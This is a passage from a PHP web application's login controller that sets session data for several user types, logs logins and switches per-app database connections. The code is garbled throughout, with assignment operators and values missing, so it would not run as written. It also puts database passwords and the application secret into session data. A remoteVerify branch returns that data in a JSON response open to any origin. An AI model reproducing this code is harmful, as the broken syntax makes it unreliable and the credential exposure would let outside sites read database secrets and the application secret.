  2579.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  2580.                 } else if ($userType == UserConstants::USER_TYPE_SYSTEM) {
  2581.                     // System administrator
  2582.                     // System administrator have successfully logged in. Lets add a login ID.
  2583.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  2584.                         ->findOneBy(
  2585.                             array(
  2586.                                 'userId' => $user->getUserId()
  2587.                             )
  2588.                         );
  2589.                     if ($employeeObj) {
  2590.                         $employeeId $employeeObj->getEmployeeId();
  2591.                         $epositionId $employeeObj->getPositionId();
  2592.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  2593.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  2594.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  2595.                     }
  2596.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  2597.                         ->findOneBy(
  2598.                             array(
  2599.                                 'userId' => $user->getUserId(),
  2600.                                 'workingStatus' => 1
  2601.                             )
  2602.                         );
  2603.                     if ($currentTask) {
  2604.                         $currentTaskId $currentTask->getId();
  2605.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  2606.                     }
  2607.                     $userId $user->getUserId();
  2608.                     $userCompanyId 1;
  2609.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  2610.                     $userEmail $user->getEmail();
  2611.                     $userImage $user->getImage();
  2612.                     $userFullName $user->getName();
  2613.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2614.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  2615.                     $position_list_array json_decode($user->getPositionIds(), true);
  2616.                     if ($position_list_array == null$position_list_array = [];
  2617.                     $filtered_pos_array = [];
  2618.                     foreach ($position_list_array as $defPos)
  2619.                         if ($defPos != '' && $defPos != 0)
  2620.                             $filtered_pos_array[] = $defPos;
  2621.                     $position_list_array $filtered_pos_array;
  2622.                     if (!empty($position_list_array))
  2623.                         $curr_position_id $position_list_array[0];
  2624.                     $userDefaultRoute $user->getDefaultRoute();
  2625. //                    $userDefaultRoute = 'MATHA';
  2626.                     $allModuleAccessFlag 1;
  2627.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  2628.                         $userDefaultRoute '';
  2629. //                    $route_list_array = Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id, $userId);
  2630.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2631.                     if (isset($companyList[$userCompanyId])) {
  2632.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  2633.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  2634.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  2635.                         $company_locale $companyList[$userCompanyId]['locale'];
  2636.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  2637.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  2638.                     }
  2639.                     if ($allModuleAccessFlag == 1)
  2640.                         $prohibit_list_array = [];
  2641.                     else if ($curr_position_id != 0)
  2642.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  2643.                     $loginID $this->get('user_module')->addUserLoginLog(
  2644.                         $userId,
  2645.                         $request->server->get("REMOTE_ADDR"),
  2646.                         $curr_position_id
  2647.                     );
  2648.                     $appIdList json_decode($user->getUserAppIdList());
  2649.                     $branchIdList json_decode($user->getUserBranchIdList());
  2650.                     if ($branchIdList == null$branchIdList = [];
  2651.                     $branchId $user->getUserBranchId();
  2652.                     if ($appIdList == null$appIdList = [];
  2653. //
  2654. //                    if (!in_array($user->getUserAppId(), $appIdList))
  2655. //                        $appIdList[] = $user->getUserAppId();
  2656. //
  2657. //                    foreach ($appIdList as $currAppId) {
  2658. //                        if ($currAppId == $user->getUserAppId()) {
  2659. //
  2660. //                            foreach ($company_id_list as $index_company => $company_id) {
  2661. //                                $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $company_id;
  2662. //                                $app_company_index = $currAppId . '_' . $company_id;
  2663. //                                $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  2664. //                                $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  2665. //                            }
  2666. //                        } else {
  2667. //
  2668. //                            $dataToConnect = System::changeDoctrineManagerByAppId(
  2669. //                                $this->getDoctrine()->getManager('company_group'),
  2670. //                                $gocEnabled,
  2671. //                                $currAppId
  2672. //                            );
  2673. //                            if (!empty($dataToConnect)) {
  2674. //                                $connector = $this->container->get('application_connector');
  2675. //                                $connector->resetConnection(
  2676. //                                    'default',
  2677. //                                    $dataToConnect['dbName'],
  2678. //                                    $dataToConnect['dbUser'],
  2679. //                                    $dataToConnect['dbPass'],
  2680. //                                    $dataToConnect['dbHost'],
  2681. //                                    $reset = true
  2682. //                                );
  2683. //                                $em = $this->getDoctrine()->getManager();
  2684. //
  2685. //                                $companyList = Company::getCompanyListWithImage($em);
  2686. //                                foreach ($companyList as $c => $dta) {
  2687. //                                    //                                $company_id_list[]=$c;
  2688. //                                    //                                $company_name_list[$c] = $companyList[$c]['name'];
  2689. //                                    //                                $company_image_list[$c] = $companyList[$c]['image'];
  2690. //                                    $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $c;
  2691. //                                    $app_company_index = $currAppId . '_' . $c;
  2692. //                                    $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  2693. //                                    $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  2694. //                                }
  2695. //                            }
  2696. //                        }
  2697. //                    }
  2698.                 } else if ($userType == UserConstants::USER_TYPE_MANAGEMENT_USER) {
  2699.                     // General User
  2700.                     $employeeId 0;
  2701.                     $currentMonthHolidayList = [];
  2702.                     $currentHolidayCalendarId 0;
  2703.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  2704.                         ->findOneBy(
  2705.                             array(
  2706.                                 'userId' => $user->getUserId()
  2707.                             )
  2708.                         );
  2709.                     if ($employeeObj) {
  2710.                         $employeeId $employeeObj->getEmployeeId();
  2711.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  2712.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  2713.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  2714.                     }
  2715.                     $session->set(UserConstants::USER_EMPLOYEE_IDstrval($employeeId));
  2716.                     $session->set(UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTHjson_encode($currentMonthHolidayList));
  2717.                     $session->set(UserConstants::USER_HOLIDAY_CALENDAR_ID$currentHolidayCalendarId);
  2718.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2719.                     $session->set(UserConstants::USER_ID$user->getUserId());
  2720.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  2721.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_MANAGEMENT_USER);
  2722.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  2723.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  2724.                     $session->set(UserConstants::USER_NAME$user->getName());
  2725.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  2726.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  2727.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  2728.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  2729.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2730.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  2731.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  2732.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  2733.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  2734.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  2735.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  2736.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  2737.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  2738.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2739.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2740.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2741.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2742.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2743.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2744.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  2745.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  2746.                     if (count(json_decode($user->getPositionIds(), true)) > 1) {
  2747.                         return $this->redirectToRoute("user_login_position");
  2748.                     } else {
  2749.                         $PL json_decode($user->getPositionIds(), true);
  2750.                         $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId());
  2751.                         $session->set(UserConstants::USER_CURRENT_POSITION$PL[0]);
  2752.                         $loginID $this->get('user_module')->addUserLoginLog(
  2753.                             $session->get(UserConstants::USER_ID),
  2754.                             $request->server->get("REMOTE_ADDR"),
  2755.                             $PL[0]
  2756.                         );
  2757.                         $session->set(UserConstants::USER_LOGIN_ID$loginID);
  2758.                         //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  2759.                         $session->set(UserConstants::USER_GOC_ID$gocId);
  2760.                         $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2761.                         $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2762.                         $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  2763.                         $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2764.                         $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2765.                         $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  2766.                         $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2767.                         $appIdList json_decode($user->getUserAppIdList());
  2768.                         if ($appIdList == null$appIdList = [];
  2769.                         $companyIdListByAppId = [];
  2770.                         $companyNameListByAppId = [];
  2771.                         $companyImageListByAppId = [];
  2772.                         if (!in_array($user->getUserAppId(), $appIdList))
  2773.                             $appIdList[] = $user->getUserAppId();
  2774.                         foreach ($appIdList as $currAppId) {
  2775.                             if ($currAppId == $user->getUserAppId()) {
  2776.                                 foreach ($company_id_list as $index_company => $company_id) {
  2777.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  2778.                                     $app_company_index $currAppId '_' $company_id;
  2779.                                     $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  2780.                                     $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  2781.                                 }
  2782.                             } else {
  2783.                                 $dataToConnect System::changeDoctrineManagerByAppId(
  2784.                                     $this->getDoctrine()->getManager('company_group'),
  2785.                                     $gocEnabled,
  2786.                                     $currAppId
  2787.                                 );
  2788.                                 if (!empty($dataToConnect)) {
  2789.                                     $connector $this->container->get('application_connector');
  2790.                                     $connector->resetConnection(
  2791.                                         'default',
  2792.                                         $dataToConnect['dbName'],
  2793.                                         $dataToConnect['dbUser'],
  2794.                                         $dataToConnect['dbPass'],
  2795.                                         $dataToConnect['dbHost'],
  2796.                                         $reset true
  2797.                                     );
  2798.                                     $em $this->getDoctrine()->getManager();
  2799.                                     $companyList Company::getCompanyListWithImage($em);
  2800.                                     foreach ($companyList as $c => $dta) {
  2801.                                         //                                $company_id_list[]=$c;
  2802.                                         //                                $company_name_list[$c] = $companyList[$c]['name'];
  2803.                                         //                                $company_image_list[$c] = $companyList[$c]['image'];
  2804.                                         $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  2805.                                         $app_company_index $currAppId '_' $c;
  2806.                                         $company_locale $companyList[$c]['locale'];
  2807.                                         $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  2808.                                         $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  2809.                                     }
  2810.                                 }
  2811.                             }
  2812.                         }
  2813.                         $session->set('appIdList'$appIdList);
  2814.                         $session->set('companyIdListByAppId'$companyIdListByAppId);
  2815.                         $session->set('companyNameListByAppId'$companyNameListByAppId);
  2816.                         $session->set('companyImageListByAppId'$companyImageListByAppId);
  2817.                         $branchIdList json_decode($user->getUserBranchIdList());
  2818.                         $branchId $user->getUserBranchId();
  2819.                         $session->set('branchIdList'$branchIdList);
  2820.                         $session->set('branchId'$branchId);
  2821.                         if ($user->getAllModuleAccessFlag() == 1)
  2822.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  2823.                         else
  2824.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId())));
  2825.                         $session_data = array(
  2826.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  2827.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  2828.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  2829.                             'oAuthToken' => $session->get('oAuthToken'),
  2830.                             'locale' => $session->get('locale'),
  2831.                             'firebaseToken' => $session->get('firebaseToken'),
  2832.                             'token' => $session->get('token'),
  2833.                             'firstLogin' => $firstLogin,
  2834.                             'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  2835.                             'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  2836.                             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  2837.                             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  2838.                             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  2839.                             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  2840.                             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  2841.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  2842.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  2843.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  2844.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  2845.                             'oAuthImage' => $session->get('oAuthImage'),
  2846.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  2847.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  2848.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  2849.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  2850.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  2851.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  2852.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  2853.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  2854.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  2855.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  2856.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  2857.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  2858.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  2859.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  2860.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  2861.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  2862.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  2863.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  2864.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  2865.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  2866.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  2867.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2868.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  2869.                             //new
  2870.                             'appIdList' => $session->get('appIdList'),
  2871.                             'branchIdList' => $session->get('branchIdList'null),
  2872.                             'branchId' => $session->get('branchId'null),
  2873.                             'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  2874.                             'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  2875.                             'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  2876.                         );
  2877.                         $session_data $this->filterClientSessionData($session_data);
  2878.                         $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  2879.                         $session_data $tokenData['sessionData'];
  2880.                         $token $tokenData['token'];
  2881.                         $session->set('token'$token);
  2882.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2883.                             $session->set('remoteVerified'1);
  2884.                             $response = new JsonResponse(array(
  2885.                                 'uid' => $session->get(UserConstants::USER_ID),
  2886.                                 'session' => $session,
  2887.                                 'token' => $token,
  2888.                                 'success' => true,
  2889.                                 'session_data' => $session_data,
  2890.                             ));
  2891.                             $response->headers->set('Access-Control-Allow-Origin''*');
  2892.                             return $response;
  2893.                         }
  2894.                         if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  2895.                             if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  2896.                                 if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  2897.                                     $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  2898.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  2899.                                     return $this->redirect($red);
  2900.                                 }
  2901.                             } else {
  2902.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  2903.                             }
  2904.                         } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  2905.                             return $this->redirectToRoute("dashboard");
  2906.                         else
  2907.                             return $this->redirectToRoute($user->getDefaultRoute());
  2908. //                        if ($request->server->has("HTTP_REFERER")) {
  2909. //                            if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != ''  && $request->server->get('HTTP_REFERER') != null) {
  2910. //                                return $this->redirect($request->request->get('HTTP_REFERER'));
  2911. //                            }
  2912. //                        }
  2913. //
  2914. //                        //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  2915. //                        if ($request->request->has('referer_path')) {
  2916. //                            if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '' && $request->request->get('referer_path') != null) {
  2917. //                                return $this->redirect($request->request->get('referer_path'));
  2918. //                            }
  2919. //                        }
  2920. //                        //                    if($request->request->has('gocId')
  2921. //
  2922. //                        if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  2923. //                            return $this->redirectToRoute("dashboard");
  2924. //                        else
  2925. //                            return $this->redirectToRoute($user->getDefaultRoute());
  2926.                     }
  2927.                 } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  2928.                     $applicantId $user->getApplicantId();
  2929.                     $userId $user->getApplicantId();
  2930.                     $globalId $user->getApplicantId();
  2931.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  2932.                     $isConsultant $user->getIsConsultant() == 0;
  2933.                     $isRetailer $user->getIsRetailer() == 0;
  2934.                     $retailerLevel $user->getRetailerLevel() == 0;
  2935.                     $adminLevel $user->getIsAdmin() == ? (($user->getAdminLevel() != null && $user->getAdminLevel() != 0) ? $user->getAdminLevel() : 1) : ($user->getIsModerator() == 0);
  2936.                     $isModerator $user->getIsModerator() == 0;
  2937.                     $isAdmin $user->getIsAdmin() == 0;
  2938.                     $userEmail $user->getOauthEmail();
  2939.                     $userImage $user->getImage();
  2940.                     $userFullName $user->getFirstName() . ' ' $user->getLastName();
  2941.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  2942.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2943.                     $buddybeeBalance $user->getAccountBalance();
  2944.                     $buddybeeCoinBalance $user->getSessionCountBalance();
  2945.                     $userDefaultRoute 'applicant_dashboard';
  2946. //            $userAppIds = json_decode($user->getUserAppIds(), true);
  2947.                     $userAppIds = [];
  2948.                     $userSuspendedAppIds json_decode($user->getUserSuspendedAppIds(), true);
  2949.                     $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  2950.                     if ($userAppIds == null$userAppIds = [];
  2951.                     if ($userSuspendedAppIds == null$userSuspendedAppIds = [];
  2952.                     if ($userTypesByAppIds == null$userTypesByAppIds = [];
  2953.                     foreach ($userTypesByAppIds as $aid => $accData)
  2954.                         if (in_array($aid$userSuspendedAppIds))
  2955.                             unset($userTypesByAppIds[$aid]);
  2956.                         else
  2957.                             $userAppIds[] = $aid;
  2958. //                    $userAppIds=array_diff($userAppIds,$userSuspendedAppIds);
  2959.                     if ($user->getOAuthEmail() == '' || $user->getOAuthEmail() == null$currRequiredPromptFields[] = 'email';
  2960.                     if ($user->getPhone() == '' || $user->getPhone() == null$currRequiredPromptFields[] = 'phone';
  2961.                     if ($user->getCurrentCountryId() == '' || $user->getCurrentCountryId() == null || $user->getCurrentCountryId() == 0$currRequiredPromptFields[] = 'currentCountryId';
  2962.                     if ($user->getPreferredConsultancyTopicCountryIds() == '' || $user->getPreferredConsultancyTopicCountryIds() == null || $user->getPreferredConsultancyTopicCountryIds() == '[]'$currRequiredPromptFields[] = 'preferredConsultancyTopicCountryIds';
  2963.                     if ($user->getIsConsultant() == && ($user->getPreferredTopicIdsAsConsultant() == '' || $user->getPreferredTopicIdsAsConsultant() == null || $user->getPreferredTopicIdsAsConsultant() == '[]')) $currRequiredPromptFields[] = 'preferredTopicIdsAsConsultant';
  2964.                     $loginID MiscActions::addEntityUserLoginLog(
  2965.                         $em_goc,
  2966.                         $userId,
  2967.                         $applicantId,
  2968.                         1,
  2969.                         $request->server->get("REMOTE_ADDR"),
  2970.                         0,
  2971.                         $request->request->get('deviceId'''),
  2972.                         $request->request->get('oAuthToken'''),
  2973.                         $request->request->get('oAuthType'''),
  2974.                         $request->request->get('locale'''),
  2975.                         $request->request->get('firebaseToken''')
  2976.                     );
  2977.                 } else if ($userType == UserConstants::USER_TYPE_GENERAL) {
  2978.                     // General User
  2979.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  2980.                         ->findOneBy(
  2981.                             array(
  2982.                                 'userId' => $user->getUserId()
  2983.                             )
  2984.                         );
  2985.                     if ($employeeObj) {
  2986.                         $employeeId $employeeObj->getEmployeeId();
  2987.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  2988.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  2989.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  2990.                     }
  2991.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  2992.                         ->findOneBy(
  2993.                             array(
  2994.                                 'userId' => $user->getUserId(),
  2995.                                 'workingStatus' => 1
  2996.                             )
  2997.                         );
  2998.                     if ($currentTask) {
  2999.                         $currentTaskId $currentTask->getId();
  3000.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  3001.                     }
  3002.                     $userId $user->getUserId();
  3003.                     $userCompanyId 1;
  3004.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  3005.                     $userEmail $user->getEmail();
  3006.                     $userImage $user->getImage();
  3007.                     $userFullName $user->getName();
  3008.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  3009.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  3010.                     $position_list_array json_decode($user->getPositionIds(), true);
  3011.                     if ($position_list_array == null$position_list_array = [];
  3012.                     $filtered_pos_array = [];
  3013.                     foreach ($position_list_array as $defPos)
  3014.                         if ($defPos != '' && $defPos != 0)
  3015.                             $filtered_pos_array[] = $defPos;
  3016.                     $position_list_array $filtered_pos_array;
  3017.                     if (!empty($position_list_array))
  3018.                         foreach ($position_list_array as $defPos)
  3019.                             if ($defPos != '' && $defPos != && $curr_position_id == 0) {
  3020.                                 $curr_position_id $defPos;
  3021.                             }
  3022.                     $userDefaultRoute $user->getDefaultRoute();
  3023.                     $allModuleAccessFlag $user->getAllModuleAccessFlag() == 0;
  3024.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  3025.                         $userDefaultRoute 'user_default_page';
  3026.                     $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id$userId);
  3027.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  3028.                     if (isset($companyList[$userCompanyId])) {
  3029.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  3030.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  3031.                         $company_locale $companyList[$userCompanyId]['locale'];
  3032.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  3033.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  3034.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  3035.                     }
  3036.                     if ($allModuleAccessFlag == 1)
  3037.                         $prohibit_list_array = [];
  3038.                     else
  3039.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  3040.                     $loginID $this->get('user_module')->addUserLoginLog(
  3041.                         $userId,
  3042.                         $request->server->get("REMOTE_ADDR"),
  3043.                         $curr_position_id
  3044.                     );
  3045.                     $appIdList json_decode($user->getUserAppIdList());
  3046.                     $branchIdList json_decode($user->getUserBranchIdList());
  3047.                     if ($branchIdList == null$branchIdList = [];
  3048.                     $branchId $user->getUserBranchId();
  3049.                     if ($appIdList == null$appIdList = [];
  3050.                     if (!in_array($user->getUserAppId(), $appIdList))
  3051.                         $appIdList[] = $user->getUserAppId();
  3052.                     foreach ($appIdList as $currAppId) {
  3053.                         if ($currAppId == $user->getUserAppId()) {
  3054.                             foreach ($company_id_list as $index_company => $company_id) {
  3055.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  3056.                                 $app_company_index $currAppId '_' $company_id;
  3057.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  3058.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  3059.                             }
  3060.                         } else {
  3061.                             $dataToConnect System::changeDoctrineManagerByAppId(
  3062.                                 $this->getDoctrine()->getManager('company_group'),
  3063.                                 $gocEnabled,
  3064.                                 $currAppId
  3065.                             );
  3066.                             if (!empty($dataToConnect)) {
  3067.                                 $connector $this->container->get('application_connector');
  3068.                                 $connector->resetConnection(
  3069.                                     'default',
  3070.                                     $dataToConnect['dbName'],
  3071.                                     $dataToConnect['dbUser'],
  3072.                                     $dataToConnect['dbPass'],
  3073.                                     $dataToConnect['dbHost'],
  3074.                                     $reset true
  3075.                                 );
  3076.                                 $em $this->getDoctrine()->getManager();
  3077.                                 $companyList Company::getCompanyListWithImage($em);
  3078.                                 foreach ($companyList as $c => $dta) {
  3079.                                     //                                $company_id_list[]=$c;
  3080.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  3081.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  3082.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  3083.                                     $app_company_index $currAppId '_' $c;
  3084.                                     $company_locale $companyList[$c]['locale'];
  3085.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  3086.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  3087.                                 }
  3088.                             }
  3089.                         }
  3090.                     }
  3091.                     if (count($position_list_array) > 1) {
  3092.                         $userForcedRoute 'user_login_position';
  3093. //                        return $this->redirectToRoute("user_login_position");
  3094.                     } else {
  3095.                     }
  3096.                 } else {
  3097.                     $isEmailVerified 1;
  3098.                 }
  3099.                 if ($userType == UserConstants::USER_TYPE_APPLICANT ||
  3100.                     $userType == UserConstants::USER_TYPE_GENERAL ||
  3101.                     $userType == UserConstants::USER_TYPE_SYSTEM
  3102.                 ) {
  3103.                     $session_data = array(
  3104.                         UserConstants::USER_ID => $userId,
  3105.                         UserConstants::USER_EMPLOYEE_ID => $employeeId,
  3106.                         UserConstants::APPLICANT_ID => $applicantId,
